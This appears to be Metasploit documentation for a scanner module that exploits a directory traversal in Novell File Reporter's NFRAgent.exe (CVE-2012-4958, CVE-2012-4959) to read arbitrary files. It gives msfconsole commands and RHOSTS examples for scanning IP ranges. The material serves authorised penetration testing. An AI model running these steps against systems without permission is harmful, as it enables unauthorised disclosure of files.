List of CVEs: CVE-2012-4958, CVE-2012-4959
NFRAgent.exe, a component of Novell File Reporter (NFR), allows remote attackers to retrieve arbitrary text files via a directory traversal while handling requests to /FSF/CMD with an FSFUI record with UICMD 126. This module has been tested successfully against NFR Agent 1.0.4.3 (File Reporter 1.0.2) and NFR Agent 1.0.3.22 (File Reporter 1.0.1).
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > show options
... show and set options ...
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > set RHOSTS ip-range
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(novell_file_reporter_fsfui_fileaccess) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
